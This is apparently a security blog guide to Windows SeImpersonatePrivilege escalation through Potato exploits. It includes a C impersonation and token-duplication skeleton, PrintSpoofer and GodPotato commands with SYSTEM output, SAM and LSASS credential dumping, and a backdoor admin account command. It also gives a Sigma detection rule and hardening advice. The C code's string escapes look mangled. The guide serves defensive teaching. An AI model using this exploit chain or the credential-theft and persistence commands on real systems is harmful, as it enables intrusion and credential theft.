Windows Token Impersonation: SeImpersonate Guide

Windows Token Impersonation: SeImpersonate Guide

Overview & Threat Landscape: The High-Integrity Gateway of Service Tokens#

Abuse SeImpersonatePrivilege via named pipe Potato exploits to capture SYSTEM tokens; audit service accounts and restrict impersonation rights.

In enterprise Windows environments, local privilege escalation from a service account to NT AUTHORITY\SYSTEM represents one of the most critical inflection points in an adversary's kill chain. When web applications (such as Microsoft Internet Information Services - IIS), database engines (such as Microsoft SQL Server), or third-party enterprise services are compromised through initial vulnerabilities—such as arbitrary file upload, deserialization flaws, or SQL injection leading to xp_cmdshell—the resulting execution context is rarely an unprivileged local user. Instead, the attacker inherits the identity of a specialized service account, such as IIS APPPOOL\DefaultAppPool, NT SERVICE\MSSQLSERVER, NT AUTHORITY\LOCAL SERVICE, or NT AUTHORITY\NETWORK SERVICE.

While these service identities possess restricted access to domain resources and standard user desktop sessions, Windows security architecture equips them by default with elevated local security privileges. Foremost among these is SeImpersonatePrivilege ("Impersonate a client after authentication") and its sibling privilege SeAssignPrimaryTokenPrivilege ("Replace a process-level token"). Mapped to MITRE ATT&CK T1134.001: Access Token Manipulation: Token Impersonation/Theft, T1134.002: Access Token Manipulation: Create Process with Token, and T1068: Exploitation for Privilege Escalation, these privileges provide an intentional operating system mechanism allowing server software to act on behalf of connected clients.

However, in the hands of an attacker, SeImpersonatePrivilege is functionally equivalent to holding full administrative control over the local operating system. Through the historic lineage of "Potato" exploit techniques—spanning RottenPotato, JuicyPotato, RoguePotato, PrintSpoofer, SweetPotato, and GodPotato—adversaries coerce local system services running as NT AUTHORITY\SYSTEM to authenticate against an attacker-controlled IPC listener (such as a Named Pipe or local DCOM RPC server). Once the privileged client connects, the exploit intercepts the authentication handshake, extracts the caller's access token, duplicates the token into a primary security context, and spawns a new process operating at System Mandatory Integrity Level.

The strategic factors that make Windows token impersonation an enduring staple of post-exploitation include:

  • The Inherent Architectural Necessity: Server applications require client impersonation to enforce access control lists (ACLs) on local files and database objects without granting blanket permissions to the service worker. Consequently, stripping SeImpersonatePrivilege without architectural refactoring frequently breaks legacy enterprise software.

  • The Resilience Across Operating System Generations: Although Microsoft has patched specific coercion primitives over time—such as blocking DCOM OXID resolution on local loopback addresses in Windows 10 1809 and Server 2019 (mitigating JuicyPotato)—researchers consistently discover alternative coercion vectors, such as the Print Spooler RPC interface (spoolss) in PrintSpoofer and DCOM activation in GodPotato.

  • The Immediate Attainment of Maximum Local Integrity: Unlike kernel exploits that risk blue screens (BSOD) or memory instability, token impersonation leverages legitimate Win32 APIs (DuplicateTokenEx, CreateProcessWithTokenW). The resulting elevation is completely deterministic, leaves no kernel artifacts, and grants immediate SYSTEM access.

  • The Bridge to Active Directory Compromise: Once an attacker achieves NT AUTHORITY\SYSTEM, they possess ambient access to the host's Local Security Authority Subsystem Service (LSASS) memory, machine account Kerberos tickets, and DPAPI master keys, transforming a local server breach into enterprise-wide domain compromise.

Warning

Any service account configured with SeImpersonatePrivilege must be treated as having full administrative equivalence on the host. Compromising a web shell on an IIS server is equivalent to compromising the host operating system.

Vulnerability & Attack Root-Cause Analysis#

: The Win32 Token Duplication Architecture To understand how token impersonation bypasses standard Windows access boundaries, security engineers must analyze the internal structure of Windows access tokens and the Win32 API sequence that facilitates token elevation. Windows Access Tokens: Primary vs. Impersonation Tokens In the Windows NT security subsystem, every process and thread executes within a defined security context encapsulated by an Access Token. Managed by the Security Reference Monitor (SRM) within the Windows kernel (ntoskrnl.exe), the token contains the user's Security Identifier (SID), group memberships, user privileges list, default DACL, and Mandatory Integrity Level (Low, Medium, High, or System).

Windows enforces a strict separation between two fundamental token types:

  • Primary Tokens: Associated exclusively with a process object. When a process initializes via CreateProcess or the Windows executive, the kernel assigns it a primary token that defines the baseline security context for all child threads and securable object handles opened by that process.

  • Impersonation Tokens: Assigned to an individual thread to enable temporary client impersonation. When a client issues a request to a server via RPC, Named Pipes, or ALPC, a server thread adopts the client's impersonation token to perform actions under the client's identity without altering the server's overarching primary process identity.

Impersonation tokens operate under four distinct Security Impersonation Levels (SECURITY_IMPERSONATION_LEVEL):

SecurityAnonymous (Level 0): The server process cannot identify or impersonate the client.

SecurityIdentification (Level 1): The server process can inspect the client's identity and privileges but cannot impersonate the client on securable objects.

SecurityImpersonation (Level 2): The server process can impersonate the client's security context on the local system. This is the minimum level required for local privilege escalation.

SecurityDelegation (Level 3): The server process can impersonate the client on remote network systems via Kerberos delegation. Mandatory Integrity Control (MIC) and Token Elevation Windows implements Mandatory Integrity Control (MIC) to enforce isolation between processes running with different privilege levels under the same user session or system boundary. Tokens carry one of four primary integrity levels:

Low Integrity (S-1-16-4096): Used by sandboxed applications such as protected browser tabs.

Medium Integrity (S-1-16-8192): The default level for standard user applications.

High Integrity (S-1-16-12288): Granted to elevated administrator processes running under User Account Control (UAC).

System Integrity (S-1-16-16384): Assigned to core operating system services, drivers, and NT AUTHORITY\SYSTEM.

Service accounts such as IIS APPPOOL\DefaultAppPool operate at Medium or High Integrity. However, because they possess SeImpersonatePrivilege, the Windows security model allows them to impersonate incoming clients regardless of their integrity level. When an exploit coerces a connection from spoolsv.exe (which runs at System Integrity), the captured impersonation token carries the full S-1-16-16384 System Mandatory Label. The Win32 API Exploitation Sequence When an account holds SeImpersonatePrivilege, the operating system permits any thread belonging to that account to adopt the security context of any connecting client that presents an impersonation token at Level 2 (SecurityImpersonation) or Level 3 (SecurityDelegation).

Furthermore, the Win32 subsystem provides two distinct APIs for spawning processes under an alternate token:

  • CreateProcessAsUserW: Requires the caller to hold both SeAssignPrimaryTokenPrivilege and SeIncreaseQuotaPrivilege.

  • CreateProcessWithTokenW: Introduced in Windows Vista, this API requires only SeImpersonatePrivilege on the caller! It internally duplicates the token and manages process instantiation, dramatically simplifying the exploit development requirements.

The complete exploit lifecycle follows an exact programmatic sequence:

PLAINTEXT
/* Win32 Token Impersonation Exploitation Lifecycle */
#include <windows.h>
#include <stdio.h>
void ExploitTokenLifecycle() {
    HANDLE hPipe;
    HANDLE hToken = NULL;
    HANDLE hPrimaryToken = NULL;
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi = { 0 };
    /* Step 1: Create a malicious named pipe server with duplex permissions */
    LPCWSTR pipeName = L"\.\pipe\exploit_pipe\pipe\spoolss";
    hPipe = CreateNamedPipeW(
        pipeName,
        PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,
        1024, 1024, 0, NULL
    );
    /* Step 2: Coerce NT AUTHORITY\SYSTEM to connect to the named pipe /
    / (e.g. via Print Spooler RPC or DCOM OXID Activation) */
    /* Step 3: Wait for client connection */
    ConnectNamedPipe(hPipe, NULL);
    /* Step 4: Impersonate the connecting client on the current thread /
    / This requires SeImpersonatePrivilege on the calling process! */
    if (ImpersonateNamedPipeClient(hPipe)) {
        printf("[+] Successfully impersonated client!\n");
        /* Step 5: Capture the impersonation token from the current thread */
        OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken);
        /* Step 6: Convert the Impersonation Token into a Primary Token */
        DuplicateTokenEx(
            hToken,
            TOKEN_ALL_ACCESS,
            NULL,
            SecurityDelegation,
            TokenPrimary,
            &hPrimaryToken
        );
        /* Step 7: Spawn an elevated process using the primary SYSTEM token */
        CreateProcessWithTokenW(
            hPrimaryToken,
            LOGON_WITH_PROFILE,
            L"C:\Windows\System32\cmd.exe",
            NULL,
            CREATE_NEW_CONSOLE,
            NULL,
            NULL,
            &si,
            &pi
        );
        printf("[+] Elevated process spawned with PID: %d\n", pi.dwProcessId);
        CloseHandle(hPrimaryToken);
        CloseHandle(hToken);
    }
    CloseHandle(hPipe);
}

The Authentication Coercion Mechanism: PrintSpoofer & GodPotato The missing link in earlier token attacks was forcing NT AUTHORITY\SYSTEM to connect to an attacker-controlled pipe. Modern Potato exploits resolve this through specialized Windows subsystem mechanisms:

  • PrintSpoofer (Print Spooler RPC Coercion):
  • The Windows Print Spooler service (spoolsv.exe) exposes an RPC interface containing the function RpcRemoteFindFirstPrinterChangeNotificationEx.
    • An attacker requests a printer change notification and supplies a custom named pipe path.

    • While spoolsv.exe validates that the path begins with \localhost\pipe\spoolss, the service fails to account for trailing slash canonicalization. By passing \localhost/pipe/PrintSpoofer\pipe\spoolss, Windows normalizes the slash into a directory separator, tricking the spooler into connecting to the attacker's custom pipe .\pipe\PrintSpoofer\pipe\spoolss under the NT AUTHORITY\SYSTEM context.

    • GodPotato (DCOM / OXID Resolver Coercion):
  • Modern Windows versions block rogue OXID resolvers on TCP port 135.
    • GodPotato bypasses this restriction by initializing a local DCOM server via IStorage and injecting an unmarshalled OBJREF containing an internal named pipe string binding (ncacn_np).

    • When DCOM attempts to resolve the object, the RPC subsystem connects to the attacker's named pipe using standard local authentication, delivering a SYSTEM impersonation token regardless of whether the Print Spooler service is disabled.

    Exploit Architecture#

    : Named Pipe Coercion and Token Duplication Flowchart The following sequence diagram illustrates the exact chronological interaction between the low-privileged service process, the coerced system service, the named pipe listener, and the Local Security Authority Subsystem Service (LSASS).

  • sequenceDiagram
        autonumber
        actor Attacker as Attacker / Compromised Service (IIS/MSSQL)
        participant PipeServer as Local Named Pipe Server (Attacker Thread)
        participant Spooler as Windows System Service (spoolsv.exe - SYSTEM)
        participant LSASS as Security Subsystem (LSASS / Kernel)
        participant Elevated as Elevated Target Process (cmd.exe - SYSTEM)
        Note over Attacker: 1. Verify SeImpersonatePrivilege via whoami /priv
        Attacker->>PipeServer: Initialize named pipe: .\pipe\exploit\pipe\spoolss
        Note over Attacker: 2. Trigger RPC notification coercion
        Attacker->>Spooler: RpcRemoteFindFirstPrinterChangeNotificationEx(\localhost/pipe/exploit...)
        Note over Spooler: Spooler normalizes path and connects to named pipe as SYSTEM
        Spooler->>PipeServer: ConnectNamedPipe & send NTLM authentication packet
        Note over PipeServer: Connection received from NT AUTHORITY\SYSTEM!
        PipeServer->>LSASS: Invoke ImpersonateNamedPipeClient(hPipe)
        LSASS-->>PipeServer: Assign SecurityImpersonation token to attacker thread
        Note over Attacker: 3. Token conversion & duplication
        PipeServer->>LSASS: OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS)
        LSASS-->>PipeServer: Return Impersonation Token Handle (Level 2)
        PipeServer->>LSASS: DuplicateTokenEx(TokenImpersonation -> TokenPrimary)
        LSASS-->>PipeServer: Return Primary Security Token Handle (SYSTEM)
        Note over Attacker: 4. Process instantiation under stolen token
        PipeServer->>LSASS: CreateProcessWithTokenW(PrimaryToken, cmd.exe)
        LSASS->>Elevated: Initialize process with System Mandatory Integrity
        Elevated-->>Attacker: Interactive root command shell active

    Attack Path Step-by-Step: From Web Shell to SYSTEM via PrintSpoofer and GodPotato#

    The following step-by-step walkthrough demonstrates how an attacker elevates from a restricted web application pool account to full system administrator.

    Phase 1: Privilege Verification and Environment Triage#

    Upon achieving initial code execution through an IIS web shell, the attacker audits their assigned token privileges:

    POWERSHELL
    ### Check current user and assigned privileges

    whoami /priv

    POWERSHELL
    ### Check assigned groups and integrity level

    whoami /groups

    The command output confirms the operational presence of SeImpersonatePrivilege:

    PRIVILEGES INFORMATION


    Privilege Name Description State

    ============================= ========================================= ========

    SeAssignPrimaryTokenPrivilege Replace a process level token Disabled

    SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled

    SeAuditPrivilege Generate security audits Disabled

    SeChangeNotifyPrivilege Bypass traverse checking Enabled

    SeImpersonatePrivilege Impersonate a client after authentication Enabled

    SeCreateGlobalPrivilege Create global objects Enabled

    Note

    Even if SeImpersonatePrivilege displays a state of Disabled in whoami /priv, an attacker can enable it programmatically at runtime using AdjustTokenPrivileges. As long as the privilege is present in the token's privilege table, it is exploitable.

    Phase 2: Deploying and Executing PrintSpoofer#

    If the Print Spooler service (spoolsv.exe) is active on the target machine, the attacker utilizes PrintSpoofer:

    POWERSHELL
    ### Check if Print Spooler service is running
    
    Get-Service -Name Spooler
    
    ### Execute PrintSpoofer to spawn an interactive shell or execute commands as SYSTEM

    .\PrintSpoofer64.exe -i -c "whoami && whoami /groups"

    PrintSpoofer binds the named pipe, triggers the spooler change notification, duplicates the token, and executes the specified command:

    [+] Found privilege: SeImpersonatePrivilege

    [+] Named pipe listening...

    [+] CreateProcessWithTokenW OK

    nt authority\system

    GROUP INFORMATION


    Group Name Type SID Attributes

    ====================================== ================ ============ ==================================================

    NT AUTHORITY\SYSTEM Well-known group S-1-5-18 Mandatory group, Enabled by default, Enabled group

    BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group

    Mandatory Label\System Mandatory Level Label S-1-16-16384

    Phase 3: Bypassing Spooler Restrictions via GodPotato#

    On modern hardened servers where the Print Spooler service is disabled or blocked by policy, attackers deploy GodPotato, which abuses the DCOM activation framework:

    POWERSHELL
    ### Execute GodPotato targeting the local DCOM subsystem

    .\GodPotato-NET4.exe -cmd "cmd.exe /c whoami"

    GodPotato initializes a rogue storage object, receives the DCOM connection via local RPC, duplicates the resulting system token, and outputs:

    [*] Combase.dll Base: 0x7ffb189c0000

    [*] Hook RPC Success

    [*] Create NamedPipe .\pipe\7a3b4c1d-8e2f-4a31-bf12-08a34b21e901\pipe\epmapper Success

    [*] DCOM Token Impersonation OK

    [*] Process Created: C:\Windows\system32\cmd.exe

    nt authority\system

    Phase 4: Post-Exploitation Actions as SYSTEM#

    Once operating as NT AUTHORITY\SYSTEM, the attacker possesses unconstrained control over the operating system:

    • Extracting Local Hashes: Dump local SAM and SYSTEM registry hives via reg save HKLM\SAM sam.save and reg save HKLM\SYSTEM system.save to crack local administrator credentials.

    • Accessing LSASS Memory: Leverage administrative rights to access lsass.exe and dump cached domain user plaintext credentials or Kerberos tickets using Minidump APIs.

    • Establishing Persistent Backdoors: Create a rogue administrative user account or register a persistent Windows service configured to start automatically upon reboot:

    POWERSHELL
    ### Create a persistent local administrator account

    net user Administrator_Backup "P@ssw0rdSecure2026!" /add

    net localgroup Administrators Administrator_Backup /add

    Actionable Detection Rule: Sigma Rule for Named Pipe Potato Exploits#

    Security Operations Centers (SOC) must monitor Windows Event Logs and Sysmon event streams to detect named pipe creation and rapid process spawning by service accounts. The following production-grade Sigma rule detects characteristic Potato named pipe naming patterns and anomalous process trees:

    YAML
    title: Potential Privilege Escalation via Windows Token Impersonation Potato Exploits
    id: 3c9b7e1a-8f2d-4821-bc30-f92e01b45289
    status: stable
    description: Detects named pipe creation and execution patterns associated with Potato privilege escalation tools (PrintSpoofer, GodPotato, JuicyPotato, SweetPotato) by service accounts.
    references:
        - https://github.com/itm4n/PrintSpoofer
        - https://github.com/BeichenDream/GodPotato
        - https://attack.mitre.org/techniques/T1134/001/
    tags:
        - attack.privilege_escalation
        - attack.t1134.001
        - attack.t1134.002
        - attack.t1068
    logsource:
        category: pipe_created
        product: windows
    detection:
        selection_pipe_names:
            PipeName|contains:
                - '\pipe\spoolss'
                - '\pipe\epmapper'
                - '\pipe\test\pipe\spoolss'
                - '\pipe\PrintSpoofer'
                - '\pipe\JuicyPotato'
                - '\pipe\RoguePotato'
                - '\pipe\GodPotato'
        selection_service_accounts:
            Image|endswith:
                - '\w3wp.exe'
                - '\sqlservr.exe'
                - '\tomcat.exe'
                - '\httpd.exe'
                - '\nginx.exe'
        condition: selection_pipe_names or (selection_service_accounts and selection_pipe_names)
    fields:
        - EventID
        - ProcessId
        - Image
        - PipeName
    falsepositives:
        - Legitimate Windows Print Spooler management activity (should originate exclusively from C:\Windows\System32\spoolsv.exe)
    level: high

    In addition to pipe creation monitoring, blue teams should track Sysmon Event ID 1 (Process Creation) where ParentImage is w3wp.exe, sqlservr.exe, or httpd.exe and the spawned child process (cmd.exe, powershell.exe) has a User field of NT AUTHORITY\SYSTEM. In standard enterprise environments, web server worker processes should never spawn command shells operating under the SYSTEM identity.

    Fast Cyber Defense Morning Takeaways: Bridging to Evening Hardening#

    Exploiting SeImpersonatePrivilege illustrates how Windows design primitives intended for multi-tenant service isolation can become a double-edged sword when an application service is breached.

    Key strategic takeaways from this morning's offensive analysis include:

    • Service Accounts Must Be Governed as Admins: Any local account possessing SeImpersonatePrivilege must be treated as having immediate administrative equivalence.

    • Coercion Vectors Constantly Evolve: Blocking specific services (such as disabling Print Spooler) mitigates single tools like PrintSpoofer, but general protection requires stripping user rights assignments and enforcing service account isolation.

    • The Path to True Defense: Mitigating token impersonation requires migrating services to Group Managed Service Accounts (gMSAs) stripped of unnecessary privileges, enabling credential isolation, and deploying real-time process integrity monitoring.

    🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.

    Executive Takeaway Table: Attack Vectors, Telemetry Signals, and Primary Mitigations#

    The following matrix provides identity architects and Windows administrators with an executive overview of the token impersonation attack surface, telemetry signals, and immediate engineering mitigations:

    Attack Vector / Technique Primary Exploitation Mechanism Telemetry & Detection Signal Recommended Mitigation Verification Command Named Pipe Spoofing (T1134.001) Coerces spoolsv.exe to connect to malicious pipe via path canonicalization Sysmon Event ID 17/18: Named pipe created matching \pipe\spoolss Disable Print Spooler service on non-print servers; strip user rights

    POWERSHELL
    Get-Service -Name Spooler (expects Disabled/Stopped)

    DCOM OXID Coercion (T1068) Coerces DCOM storage unmarshalling to connect to local named pipe Event ID 4624 (Type 9/Type 3) from local RPC; GodPotato pipe patterns Remove SeImpersonatePrivilege from service accounts; isolate DCOM

    POWERSHELL
    secedit /export /cfg C:\sec.txt && findstr SeImpersonate C:\sec.txt

    Token Duplication (T1134.002) Converts Impersonation Token to Primary Token via DuplicateTokenEx Sysmon Event ID 1: w3wp.exe or sqlservr.exe spawning child as SYSTEM Migrate workloads to virtual service accounts with dropped privileges whoami /priv (verifies SeImpersonatePrivilege removed) LSASS Memory Theft Elevated SYSTEM process dumps credential material from lsass.exe Sysmon Event ID 10: Process opening lsass.exe with PROCESS_VM_READ Enable Windows Defender Credential Guard and LSA Protection reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL Persistent Service Injection Attacker registers backdoored Windows Service under SYSTEM account Security Event ID 7045: New service installed in system registry Restrict Service Control Manager access rights; monitor Event ID 7045

    POWERSHELL
    Get-CimInstance Win32_Service | Where {$_.StartName -eq "LocalSystem"}

    Authoritative References & Standards#

    • Microsoft Learn: User Rights Assignment: Impersonate a client after authentication — Microsoft Security Documentation

    • Microsoft Learn: Access Tokens and Impersonation Levels Architecture — Win32 Security Fundamentals

    • MITRE ATT&CK Framework: Technique T1134.001: Token Impersonation/Theft — MITRE ATT&CK

    • MITRE ATT&CK Framework: Technique T1134.002: Create Process with Token — MITRE ATT&CK

    • PrintSpoofer Research: Abusing Impersonation Privileges on Windows 10 and Server 2019 — GitHub itm4n/PrintSpoofer

    Comments